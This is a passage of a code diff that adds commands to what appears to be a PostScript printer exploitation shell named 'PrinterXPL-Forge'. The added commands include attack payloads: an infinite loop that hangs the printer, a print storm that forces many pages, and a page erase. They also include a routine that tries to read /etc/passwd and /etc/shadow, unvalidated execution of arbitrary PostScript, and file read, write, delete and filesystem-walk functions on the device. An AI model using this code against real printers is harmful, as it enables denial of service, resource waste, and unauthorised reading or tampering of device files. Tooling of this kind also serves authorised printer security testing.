+ if arg == "duplex":
879
+ self.cmd("<</Duplex true>> setpagedevice")
880
+ elif arg.startswith("copies "):
881
+ num = arg.split()[1]
882
+ self.cmd(f"<</NumCopies {num}>> setpagedevice")
883
+ elif arg == "economode":
884
+ self.cmd("<</EconoMode true>> setpagedevice")
885
+ elif arg == "negative":
886
+ self.cmd("-1 1 scale")
887
+ elif arg == "mirror":
888
+ self.cmd("1 -1 scale")
889
+
890
+ output().message(f"Configuration '{arg}' applied")
891
+
892
+ def help_config(self):
893
+ """Show help for config command"""
894
+ print()
895
+ print("config - Change printer settings")
896
+ print("=" * 60)
897
+ print("DESCRIPTION:")
898
+ print(" Modifies various printer settings via setpagedevice.")
899
+ print()
900
+ print("USAGE:")
901
+ print(" config <setting>")
902
+ print()
903
+ print("SETTINGS:")
904
+ print(" duplex - Enable duplex printing")
905
+ print(" copies <n> - Set number of copies")
906
+ print(" economode - Enable toner saving")
907
+ print(" negative - Invert colors")
908
+ print(" mirror - Mirror image")
909
+ print()
910
+
911
+ def do_pagecount(self, *arg):
912
+ "Show printer's page counter"
913
+ result = self.cmd("statusdict /pagecount get exec print")
914
+ if result:
915
+ print(f"Page Count: {result.strip()}")
916
+
917
+ def help_pagecount(self):
918
+ """Show help for pagecount command"""
919
+ print()
920
+ print("pagecount - Show page counter")
921
+ print("=" * 60)
922
+ print("DESCRIPTION:")
923
+ print(" Displays the total number of pages printed by the device.")
924
+ print()
925
+ print("USAGE:")
926
+ print(" pagecount")
927
+ print()
928
+
929
+ # --------------------------------------------------------------------
930
+ # 🧪 PAYLOADS
931
+ # --------------------------------------------------------------------
932
+
933
+ def do_payload(self, arg):
934
+ "Execute PostScript payload"
935
+ if not arg:
936
+ print("Available payloads:")
937
+ print(" banner <text> - Print banner with text")
938
+ print(" loop - Infinite loop (hangs printer)")
939
+ print(" erase - Erase page")
940
+ print(" storm - Print storm (many pages)")
941
+ return
942
+
943
+ parts = arg.split(None, 1)
944
+ payload_name = parts[0]
945
+ payload_arg = parts[1] if len(parts) > 1 else ""
946
+
947
+ if payload_name == "banner":
948
+ text = payload_arg or "PrinterXPL-Forge"
949
+ self.cmd(f"""
950
+ /Helvetica findfont 16 scalefont setfont
951
+ 100 700 moveto
952
+ ({text}) show
953
+ showpage
954
+ """)
955
+ elif payload_name == "loop":
956
+ self.do_hang("")
957
+ elif payload_name == "erase":
958
+ self.cmd("initgraphics erasepage showpage")
959
+ elif payload_name == "storm":
960
+ count = payload_arg or "100"
961
+ self.cmd(f"""
962
+ /Helvetica findfont 20 scalefont setfont
963
+ 0 1 {count} {{
964
+ dup 20 mul 100 moveto
965
+ (PrinterXPL-Forge STORM) show
966
+ showpage
967
+ }} for
968
+ """)
969
+
970
+ output().message(f"Payload '{payload_name}' executed")
971
+
972
+ def help_payload(self):
973
+ """Show help for payload command"""
974
+ print()
975
+ print("payload - Execute PostScript payloads")
976
+ print("=" * 60)
977
+ print("DESCRIPTION:")
978
+ print(" Executes pre-built PostScript attack payloads.")
979
+ print()
980
+ print("USAGE:")
981
+ print(" payload <name> [args]")
982
+ print()
983
+ print("PAYLOADS:")
984
+ print(" banner <text> - Print banner page")
985
+ print(" loop - Infinite loop (DoS)")
986
+ print(" erase - Erase current page")
987
+ print(" storm [count] - Print storm attack")
988
+ print()
989
+
990
+ # --------------------------------------------------------------------
991
+ # 🔬 ADVANCED TESTING
992
+ # --------------------------------------------------------------------
993
+
994
+ def do_test_file_access(self, *arg):
995
+ "Test file system access capabilities"
996
+ print("Testing PostScript File System Access...")
997
+ print("=" * 60)
998
+
999
+ tests = [
1000
+ ("/etc/passwd", "System password file"),
1001
+ ("/etc/shadow", "Shadow password file"),
1002
+ ("(%disk0%)*", "Disk0 files"),
1003
+ ("(%statementstatus%)", "Statement status"),
1004
+ ]
1005
+
1006
+ for path, desc in tests:
1007
+ result = self.cmd(f"""
1008
+ ({path}) (r) file {{
1009
+ (ACCESSIBLE: {desc}) print
1010
+ closefile
1011
+ }} {{
1012
+ (DENIED: {desc}) print
1013
+ }} ifelse
1014
+ """)
1015
+ if result:
1016
+ print(result)
1017
+
1018
+ def help_test_file_access(self):
1019
+ """Show help for test_file_access command"""
1020
+ print()
1021
+ print("test_file_access - Test filesystem access")
1022
+ print("=" * 60)
1023
+ print("DESCRIPTION:")
1024
+ print(" Tests access to various sensitive files and locations.")
1025
+ print()
1026
+ print("USAGE:")
1027
+ print(" test_file_access")
1028
+ print()
1029
+
1030
+ def do_exec_ps(self, arg):
1031
+ "Execute arbitrary PostScript code"
1032
+ if not arg:
1033
+ output().errmsg("Usage: exec_ps <postscript code>")
1034
+ return
1035
+
1036
+ result = self.cmd(arg)
1037
+ if result:
1038
+ print("Output:")
1039
+ print(result)
1040
+
1041
+ def help_exec_ps(self):
1042
+ """Show help for exec_ps command"""
1043
+ print()
1044
+ print("exec_ps - Execute arbitrary PostScript code")
1045
+ print("=" * 60)
1046
+ print("DESCRIPTION:")
1047
+ print(" Sends raw PostScript code directly to the printer.")
1048
+ print()
1049
+ print("USAGE:")
1050
+ print(" exec_ps <postscript_code>")
1051
+ print()
1052
+ print("EXAMPLES:")
1053
+ print(" exec_ps (Hello World) print")
1054
+ print(" exec_ps statusdict /product get =")
1055
+ print()
1056
+ print("NOTES:")
1057
+ print(" - Requires PostScript knowledge")
1058
+ print(" - No validation performed")
1059
+ print(" - May crash printer if invalid")
1060
+ print()
1061
+
1062
+ # Implement standard file operations
1063
+ def get(self, path):
1064
+ """Internal method to get file"""
1065
+ result = self.cmd(f"({path}) (r) file dup 4096 string readstring pop print closefile")
1066
+ if result:
1067
+ return (len(result), result.encode())
1068
+ return c.NONEXISTENT
1069
+
1070
+ def put(self, path, data):
1071
+ """Internal method to put file"""
1072
+ escaped = data.decode('latin-1', errors='ignore').replace('\\', '\\\\').replace('(', '\\(').replace(')', '\\)')
1073
+ self.cmd(f"({path}) (w) file ({escaped}) writestring closefile")
1074
+ return len(data)
1075
+
1076
+ def delete(self, path):
1077
+ """Internal method to delete file"""
1078
+ self.cmd(f"({path}) deletefile")
1079
+ return True
1080
+
1081
+ # File system traversal support
1082
+ def dirlist(self, path="", r=False, l=False):
1083
+ """List directory contents"""
1084
+ search_path = path or "(%disk0%)*"
1085
+ result = self.cmd(f"""
1086
+ ({search_path}) {{
1087
+ dup print (\\n) print
1088
+ }} 100 string filenameforall
1089
+ """)
1090
+ return result if result else ""
1091
+
1092
+ def fswalk(self, path, cmd_type="find"):
1093
+ """Walk filesystem"""
1094
+ listing = self.dirlist(path)
1095
+ if listing:
1096
+ for line in listing.split('\n'):
1097
+ if line.strip():
1098
+ if cmd_type == "find":
1099
+ print(line.strip())
1100
+ elif cmd_type == "mirror":
1101
+ self.mirror(line.strip(), 0)
1102
+